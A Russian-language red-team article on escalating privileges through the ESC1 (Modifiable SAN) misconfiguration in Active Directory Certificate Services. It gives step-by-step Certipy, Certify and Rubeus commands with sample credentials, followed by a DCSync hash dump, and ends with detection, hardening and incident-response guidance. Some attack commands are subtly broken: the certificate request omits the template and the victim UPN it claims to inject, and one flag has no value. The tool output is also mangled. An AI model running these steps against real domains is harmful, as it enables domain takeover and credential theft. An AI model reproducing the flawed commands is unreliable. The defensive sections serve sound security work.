

Повышение привилегий через ESC1 (Modifiable SAN) в AD CS

 redsec.by/article/povyshenie-privilegij-cherez-esc1-modifiable-san-v-ad-cs

Red Teams | 4 мая 2026



ESC1 (Escalation Scenario 1) — это классическая, но до сих пор критически опасная ошибка конфигурации Active Directory Certificate Services (AD CS). Она позволяет низкопривилегированному пользователю легитимно запросить сертификат от имени любой другой учетной записи в домене (вплоть до Enterprise Admin) и использовать его для сквозной аутентификации. В профессиональной среде ИБ данная архитектурная слабость известна как *Modifiable SAN*, так как фундаментом уязвимости является слепое доверие центра сертификации к полю Subject Alternative Name (SAN), формируемому на стороне клиента.

Впервые категоризированный исследователями из SpecterOps в фундаментальном whitepaper "Certified Pre-Owned", вектор ESC1 пережил множество патчей (включая изменения в SID-маппинге KB5014754). Тем не менее, к 2026 году он остаётся одним из самых эксплуатируемых TTP (Tactics, Techniques, and Procedures) как в арсенале Red Team, так и в реальных кампаниях APT-группировок.

1. Архитектура AD CS и критическая роль SAN

Для глубокого понимания механики атаки необходимо декомпозировать процесс работы Active Directory Certificate Services. AD CS — это интегрированная в домен роль Windows Server, реализующая Enterprise инфраструктуру открытых ключей

(PKI). Она отвечает за выпуск X.509-сертификатов, используемых для шифрования, цифровых подписей и, что самое важное, — для аутентификации.

Управление через шаблоны сертификатов (Certificate Templates)

Центральным элементом логики выдачи являются шаблоны. Это объекты в контейнере конфигурации Active Directory (CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=...), которые диктуют правила генерации сертификатов. В них заложены ключевые параметры:

- **Назначение (Extended Key Usage, EKU):** Определяет технические границы применения сертификата (например, можно ли с ним логиниться в домен или только подписывать код).
- **Правила формирования субъекта:** Кто определяет содержимое полей Subject и SAN — сам сервер на основе данных из AD или клиент, формирующий CSR (Certificate Signing Request).
- **Жизненный цикл:** Срок действия и политики обновления.
- **Списки контроля доступа (ACL):** Какие субъекты (пользователи/компьютеры/группы) обладают правами Enroll (Запрос) и Read (Чтение).
- **Требования к выдаче:** Нужна ли авторизованная подпись или ручное одобрение (Manager Approval) администратором CA.

Концепция Subject Alternative Name (SAN)

Поле **SAN** (Альтернативное имя субъекта) в структуре X.509 предназначено для хранения дополнительных идентификаторов владельца сертификата. В контексте AD CS это могут быть DNS-имена, SPN (Service Principal Name), SID (Security Identifier) и UPN (User Principal Name).

Важно: Интеграция SAN и Kerberos PKINIT При аутентификации в домене по протоколу Kerberos PKINIT (например, Smart Card Logon) контроллер домена (KDC) извлекает значение UPN или DNS из поля SAN предоставленного клиентского сертификата и сопоставляет его с объектом в Active Directory. Если сертификат валиден (подписан доверенным Enterprise CA) и KDC доверяет SAN, аутентификация проходит успешно от имени того пользователя, чей UPN указан в SAN. Возможность подменить это значение — это прямой путь к полному захвату домена (Domain Compromise).

2. Анатомия атаки ESC1: Матрица уязвимости

ESC1 не является уязвимостью в коде (0-day) — это логическая уязвимость (misconfiguration). Чтобы шаблон сертификата был подвержен классической атаке

ESC1, инфраструктура должна одновременно удовлетворять пяти строгим критериям. Отсутствие хотя бы одного из них ломает цепочку эксплуатации.

Условие 1. Enrollee supplies subject (Modifiable SAN)

В свойствах шаблона на вкладке *Subject Name* выбран параметр **Supply in the request**. На уровне атрибутов объекта AD это выражается установленным битом флага CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (значение 0x00000001) в атрибуте msPKI-Certificate-Name-Flag.

При такой конфигурации сервер сертификации делегирует ответственность за формирование идентификационных полей заявителю. Злоумышленник может положить в запрос (CSR) UPN администратора (например, Administrator@corp.local), и СА покорно подпишет такой сертификат.

Условие 2. Наличие ECU для аутентификации

Сертификат должен предоставлять право аутентификации к доменным ресурсам. Критичными OID (Object Identifiers) расширенного использования ключа являются:

Название ECU	OID	Сценарий эксплуатации
Client Authentication	1.3.6.1.5.5.7.3.2	Стандартная клиентская TLS/Schannel аутентификация и PKINIT.
Smart Card Logon	1.3.6.1.4.1.311.20.2.2	Прямая Kerberos-аутентификация (получение TGT).
PKINIT Client Authentication	1.3.6.1.5.2.3.4	Специфичный ECU для Kerberos аутентификации.
Any Purpose	2.5.29.37.0	Универсальный OID. Позволяет использовать сертификат для любых задач, включая клиентскую аутентификацию.

Ошибка проектирования Часто администраторы копируют встроенные шаблоны (например, Web Server), добавляя туда Client Authentication для "универсальности" или создают шаблоны с Any Purpose, забывая, что в комбинации с Modifiable SAN это создает фатальную брешь. Если ECU ориентирован исключительно на шифрование (например, EFS) или подпись документов, получить TGT билет через него будет невозможно (KDC отклонит запрос с ошибкой `KDC\_ERR\_CLIENT\_NOT\_TRUSTED`).

Условие 3. Права Enroll у низкопривилегированных пользователей

Атака имеет смысл, если скомпрометированный субъект обладает достаточными правами для запроса сертификата. В уязвимых инфраструктурах в ACL (Access Control List) шаблона права **Enroll** (и зачастую Read) выданы группам с широким охватом: Domain Users, Authenticated Users, Domain Computers или Everyone.

Условие 4. Автоматическая выдача без одобрения (No Manager Approval)

Шаблон настроен на немедленный выпуск сертификата. Параметр *Require the following for enrollment: CA certificate manager approval* отключен. Если эта галочка стоит, запрос переходит в состояние Pending, и злоумышленник не получит сертификат, пока администратор CA (серверной роли) не нажмет "Issue" вручную в консоли ``certsrv.msc``.

Условие 5. Шаблон опубликован и активен на СА

Даже если уязвимый шаблон существует в Active Directory, запросить по нему сертификат можно только в том случае, если Enterprise CA его фактически обслуживает (шаблон добавлен в список *Certificate Templates* конкретного сервера сертификации).

3. Практическая реализация атаки: Сценарий Red Team

Ниже детально разобран процесс эксплуатации ESC1 в современных гибридных и on-premise доменных средах на базе Windows Server 2019/2022. Этот сценарий демонстрирует, как обладая лишь рядовой учетной записью (или компьютером), атакующий эскалирует привилегии до полного контроля над инфраструктурой.

Практика: Исходные данные Атакующий получил начальный доступ (Initial Access) через фишинг. Скомпрометированная УЗ: CORP\j.doe (обычный пользователь домена). Целевая УЗ: CORP\Administrator (Enterprise Admin).

Шаг 1: Разведка AD CS и эnumерация шаблонов

Сначала необходимо выявить Enterprise CA и проанализировать доступные шаблоны на наличие комбинации уязвимых флагов. Для этих целей стандартом де-факто в 2026 году является **Certipy**.

```
certipy find -u 'j.doe@corp.local' -p 'P@ssw0rd123' -dc-ip 192.168.10.5 -vulnerable
```

Пример фрагмента вывода, подтверждающего наличие ESC1:

```
[*] Found 1 vulnerable template(s):  
Template Name      : VPN_Access_Temp
```

Display Name : VPN Access Temporary
Certificate Authorities : CORP-CA-01
Enrollees : CORP.LOCAL\Domain Users
Enrollee Supplies Subject : True
Extended Key Usage : Client Authentication, Any Purpose
Requires Manager Approval : False
[!] Vulnerabilities : ESC1, ESC2, ESC3

Шаг 2: Формирование CSR и получение сертификата

Зная имя уязвимого шаблона (VPN_Access_Temp) и имя сервера CA (CORP-CA-01), атакующий генерирует пару ключей локально и отправляет CSR, внедряя в поле SAN UPN жертвы.

```
certipy req -u 'j.doe@corp.local' -p 'P@ssw0rd123' -target-ip 192.168.10.10 -ca 'CORP-CA-01'
```

Результатом успешного выполнения команды будет скачанный на диск атакующего архив формата .pfx (например, administrator.pfx), содержащий сам сгенерированный X.509 сертификат и закрытый ключ (private key).

Риски: Долгосрочная персистентность (Persistence) В отличие от кражи пароля, который может быть изменен администратором в любой момент, выписанный сертификат действует весь срок, указанный в шаблоне (обычно от 1 до 5 лет). Смена пароля жертвы **никак не влияет** на валидность сертификата. Даже если инцидент с компрометацией первоначального пользователя `j.doe` будет расследован, злоумышленник сможет возвращаться в домен от имени Администратора годами, пока сертификат не будет отозван (Revoked).

Шаг 3: Аутентификация PKINIT (Pass-the-Certificate)

Имея валидный сертификат от имени administrator@corp.local с правом аутентификации (EKU Client Auth/Smart Card Logon), атакующий инициирует процесс Kerberos PKINIT. На этом этапе происходит обмен сертификата на Ticket Granting Ticket (TGT).

```
certipy auth -pfx administrator.pfx -dc-ip 192.168.10.5
```

В процессе обмена (AS-REQ / AS-REP):

1. Клиент формирует запрос AS-REQ, подписывая предварительную аутентификацию закрытым ключом из .pfx.
2. Контроллер домена валидирует подпись и проверяет цепочку доверия сертификата (через NTAuthCertificates).
3. DC считывает UPN из поля SAN (administrator@corp.local) и производит маппинг к аккаунту в AD.

4. Возвращается TGT-билет для пользователя Administrator в виде файла `administrator.ccache` и NTLM-хэш пользователя (поскольку PKINIT исторически возвращает NTLM хэш для обратной совместимости — т.н. *UnPAC-the-Hash*).

Шаг 4: Дальнейшая эксплуатация

Имея TGT-билет администратора (или его NTLM-хэш), можно выполнять любые действия в домене. Чаще всего следующим шагом идет извлечение хэшей всех пользователей домена (DCSync):

```
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass corp.local/administrator@dc01.corp.local
```

4. Эволюция защиты и актуальность ESC1 на 2026 год

С момента первой публикации векторов атак на AD CS компанией SpecterOps, Microsoft предприняла ряд шагов по усилению безопасности PKI-инфраструктуры. Ключевым событием стал выпуск обновлений, связанных с KB5014754, которые изменили логику маппинга сертификатов к учетным записям (Certificate-Based Authentication).

Влияние KB5014754 и Strong Certificate Mapping

Microsoft внедрила концепцию *Strong Mapping*, которая требует наличия в сертификате нового расширения — **SID (Security Identifier) учетной записи (OID 1.3.6.1.4.1.311.25.2)**. Изначально это задумывалось как мера по защите от атак подмены субъекта (в том числе ESC1). Однако, на практике к 2026 году вектор ESC1 остается полностью рабочим по ряду причин:

- **Режим совместимости (Compatibility Mode):** Из-за огромного количества легаси-систем, сторонних MDM-решений и смарт-карт, многие Enterprise-инфраструктуры искусственно откладывают включение режима Full Enforcement (который жестко блокирует аутентификацию без SID-расширения), оставляя KDC в режиме аудита.
- **Инъекция SID в запрос:** Современные версии инструментария (в частности, актуальные форки Certipy) научились автоматически запрашивать сертификаты, внедряя SID целевой учетной записи (администратора) прямо в CSR. Если шаблон позволяет задавать SAN (Modifiable SAN), CA подпишет и этот кастомный SID, успешно обходя защиту Strong Mapping.

Реалии 2025–2026 годов Отчеты по Incident Response (IR) и аудит-репорты Red Team подтверждают: ESC1 и смежный ESC8 остаются одними из самых частых путей к компрометации Active Directory. APT-группировки (например, эксплуатирующие уязвимости в VPN шлюзах Ivanti или Fortinet для получения первичного доступа)

активно используют AD CS для быстрого закрепления, так как сертификаты предоставляют скрытый и долгосрочный бэкдор, который не детектируется стандартным мониторингом смены паролей.

5. Альтернативный инструментарий: Экосистема Windows

Хотя Certipy является стандартом для работы из Linux-окружения (часто применяется при пробросе трафика через прохuchains), при выполнении атак в стиле *Assumed Breach* (с уже скомпрометированного Windows-хоста) Red Team операторы используют нативные .NET инструменты.

Certify (от GhostPack)

Написан на C# и идеально подходит для работы через Beacon (Cobalt Strike) или сессии Mythic через execute-assembly. Инструмент анализирует графы AD на предмет конфигураций CA и шаблонов.

```
# Эnumерация всех уязвимых шаблонов в домене
Certify.exe find /vulnerable
```

```
# Запрос сертификата с указанием альтернативного имени (ESC1)
Certify.exe request /ca:CORP-CA-01.corp.local\CORP-CA /template:VPN_Access_Temp /alt
```

Если сертификат успешно выпущен, Certify сохранит закрытый ключ (в формате .pem) и сам сертификат. Их потребуется конвертировать в .pfx для использования в Windows.

Внимание: Флаг EDITF_ATTRIBUTESUBJECTALTNAME2 Иногда Certify показывает, что шаблон уязвим к ESC1, но при попытке `request` сервер возвращает ошибку. Это часто означает, что на самом сервере CA отключен флаг EDITF_ATTRIBUTESUBJECTALTNAME2. Этот флаг на уровне службы сертификации разрешает или запрещает принимать SAN из запроса. Если он выключен (по умолчанию в новых установках Standalone CA, но часто включен на Enterprise CA), CA проигнорирует SAN из CSR.

Rubeus и PKINIT

Для обмена полученного .pfx-сертификата на Kerberos TGT в Windows-среде применяется Rubeus. Он позволяет запросить билет и инжектировать его в текущую Logon-сессию (Pass-the-Ticket).

```
# Получение TGT билета от имени администратора с использованием сертификата
Rubeus.exe asktgt /user:administrator /certificate:admin.pfx /password:CertPassword
```

BloodHound Enterprise

BloodHound использует ребро графа ADCSESC1 (и производные). Оно визуализирует цепочку: (User) -[Enroll]-> (CertificateTemplate) -[PublishedTo]-> (EnterpriseCA). При анализе инфраструктуры Blue Team может использовать cypher-запросы для быстрого выявления путей компрометации от низкопривилегированных групп (например, Domain Users) до Domain Admins через узел CertificateTemplate.

6. Детектирование атаки: Телеметрия и мониторинг (Blue Team)

Классические антивирусы (AV) и EDR-решения часто слепы к самой логике запроса сертификата, так как весь процесс происходит через легитимные API Windows (MS-WCCE, DCOM, RPC). Детектирование ESC1 должно строиться на анализе событий аудита на стороне контроллеров домена и серверов сертификации.

Логирование на уровне СА (Центр Сертификации)

Для обнаружения атаки необходимо, чтобы на сервере СА был включен аудит *Certification Services* (Audit object access). Ключевые события в журнале Security:

- **Event ID 4886 (Certificate Services received a certificate request):** Зафиксирован факт поступления запроса.
- **Event ID 4887 (Certificate Services approved a certificate request and issued a certificate):** Сертификат успешно выдан.

Практика: Поиск аномалий (IoC) в логах СА Атака ESC1 оставляет явный след в событии 4887. Главный индикатор компрометации — расхождение между полем **Requester** (тот, кто физически отправил запрос, например CORP\j.doe) и значениями в **Certificate Properties** или **Subject Alternative Name** (например, UPN=administrator@corp.local). В нормальной бизнес-среде обычные пользователи никогда не запрашивают сертификаты на имена администраторов домена.

Event ID 4898 (Certificate Services loaded a template): Позволяет отслеживать загрузку новых или модифицированных шаблонов на СА. Полезно для детекта ESC4, который часто является пререквизитом к ESC1 (когда атакующий сначала меняет настройки безопасного шаблона, делая его уязвимым к ESC1).

Мониторинг на контроллерах домена (KDC)

Когда атакующий применяет полученный сертификат для PKINIT, на контроллере домена генерируются стандартные события аутентификации Kerberos:

Event ID 4768 (A Kerberos authentication ticket (TGT) was requested): В деталях этого события при использовании сертификата будут заполнены поля раздела *Certificate Information* (включая Issuer Name, Serial Number, Thumbprint).

Поведенческие триггеры для SOC (SIEM-правила):

1. Выдача аномально большого числа сертификатов в сжатые сроки.
2. Использование сертификатной аутентификации (Event ID 4768 с заполненным Certificate Thumbprint) для учетных записей администраторов, если в компании для них настроена аутентификация только по смарт-картам или только по паролям (если PKI не используется для DA).
3. События PKINIT, исходящие из сегментов сети, не характерных для целевой учетной записи (например, аутентификация Enterprise Admin из гостевого Wi-Fi или VDI-сегмента для рядовых сотрудников).

7. Харденинг инфраструктуры: Рекомендации по устранению и защите

Устранение ESC1 требует системного подхода. Ошибка заключается в логике шаблона, поэтому патчинг операционных систем не решает фундаментальную проблему. Ниже представлен чеклист для Security-архитекторов.

1. Жесткий аудит и ревизия шаблонов (Template Hardening)

- **Деактивация уязвимых параметров:** Откройте консоль `certtmpl.msc`. Проверьте все шаблоны, у которых на вкладке *Subject Name* выбрано *Supply in the request*. Если этот шаблон используется для аутентификации (Client Auth/Smart Card Logon/Any Purpose), немедленно измените настройку на *Build from this Active Directory information*.
- **Принцип минимальных привилегий (ACL):** Удалите группы Domain Users, Authenticated Users и Everyone из списка имеющих права *Enroll* на любые шаблоны с Modifiable SAN. Ограничьте выдачу конкретными сервисными аккаунтами или группами, которым это действительно нужно по бизнес-процессу.
- **Включение Manager Approval:** Если шаблон с SAN "Supply in the request" жизненно необходим (например, для выпуска веб-сертификатов разработчикам, которые сами генерируют CSR), включите требование *CA certificate manager approval* на вкладке *Issuance Requirements*.

2. Консервативная настройка ECU

Никогда не используйте ECU *Any Purpose* (Универсальное назначение) в пользовательских шаблонах. Строго разделяйте шаблоны: одни только для шифрования (EFS) или подписи (Code Signing), другие — исключительно для аутентификации.

Рекомендация: Отключение `EDITF_ATTRIBUTESUBJECTALTNAME2` Если инфраструктура позволяет, запретите Enterprise CA принимать SAN из CSR на

глобальном уровне. Это делается командой:

```
certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2  
net stop certsvc && net start certsvc
```

Внимание: Эта мера может сломать легитимные процессы (например, выпуск сертификатов через MDM/Intune, которые полагаются на передачу SAN в запросе). Тщательно тестируйте перед внедрением в Production.

3. Процедуры реагирования (Incident Response Playbooks)

Если факт компрометации через ESC1 подтвержден, простой смены пароля администратора **недостаточно**. Необходимо:

1. Определить серийный номер скомпрометированного сертификата через логи CA (событие 4887).
2. Отозвать сертификат (Revoke) в консоли `certsrv.msc`.
3. Обязательно принудительно опубликовать обновленный список отзыва (CRL — Certificate Revocation List), чтобы контроллеры домена перестали доверять отозванному сертификату до истечения кэша: `certutil -crl`.
4. Очистить кэш билетов Kerberos и проверить наличие backdoor-учетных записей, созданных злоумышленником.

Вывод

Уязвимость ESC1 (Modifiable SAN) в AD CS — это яркий пример того, как изначально задуманная для гибкости административная функция может стать критической брешью в безопасности домена. Способность низкопривилегированного пользователя легитимными средствами инфраструктуры запрашивать сертификаты от имени Domain Admin делает эту атаку опасной, надежной и трудно детектируемой базовыми средствами антивирусной защиты. Защита от ESC1 не требует закупки дорогостоящих СЗИ; она целиком опирается на строгую дисциплину настройки прав доступа (ACL), глубокое понимание механик работы инфраструктуры открытых ключей (PKI) и корректный аудит параметров Subject Name и EKU в шаблонах сертификатов.

FAQ: Ответы на частые вопросы по ESC1

1. Если я сменю пароль администратора, чей сертификат был украден через ESC1, защитит ли это учетную запись?

Нет. Выпущенный X.509 сертификат полностью независим от пароля пользователя. Он будет валиден для аутентификации через Kerberos PKINIT до истечения срока своего действия (часто это годы). Единственный способ пресечь доступ — отозвать сертификат (Revoke) на CA и обновить CRL.

2. Требуется ли права администратора на машине для выполнения атаки ESC1?

Нет. Для выполнения атаки достаточно контекста обычного доменного пользователя (Domain Users). Формирование ключей и отправка CSR не требуют локальных привилегий Administrator или SYSTEM на рабочей станции.

3. Защищает ли режим Strong Certificate Mapping (KB5014754) от ESC1 на 100%?

Не всегда. Во-первых, многие компании откладывают включение Full Enforcement режима, оставляя Audit Mode. Во-вторых, если шаблон уязвим к ESC1, современные инструменты эксплуатации могут внедрять необходимый OID SID непосредственно в сам запрос (CSR). CA подпишет такой сертификат вместе с кастомным SID, обходя защиту.

4. Можно ли просто удалить уязвимый шаблон с сервера CA?

Да, снятие шаблона с публикации (Unpublish) предотвратит выдачу *новых* сертификатов. Однако все сертификаты, выданные злоумышленнику *до* этого момента, останутся валидными. Поэтому аудит логов CA (Event ID 4887) обязателен.

5. Если шаблон имеет ECU "Server Authentication" и "Modifiable SAN", возможен ли ESC1?

В классическом виде для аутентификации пользователя в домене — **нет**. KDC отклонит запрос на TGT, так как для клиентской Kerberos-аутентификации требуются ECU *Client Authentication*, *Smart Card Logon*, *PKINIT Client Auth* или *Any Purpose*. Однако такой сертификат можно использовать для других атак (например, подмена легитимного сервера).

6. Что произойдет, если атакующий попытается эксплуатировать ESC1 на шаблоне с включенным "Manager Approval"?

Атака остановится на этапе выдачи сертификата. Команда `certipy req` вернет сообщение о том, что запрос переведен в статус Pending. Злоумышленник не получит закрытый ключ и сертификат, пока администратор вручную не одобрит этот конкретный запрос в консоли CA, что практически исключает скрытную автоматическую эксплуатацию.

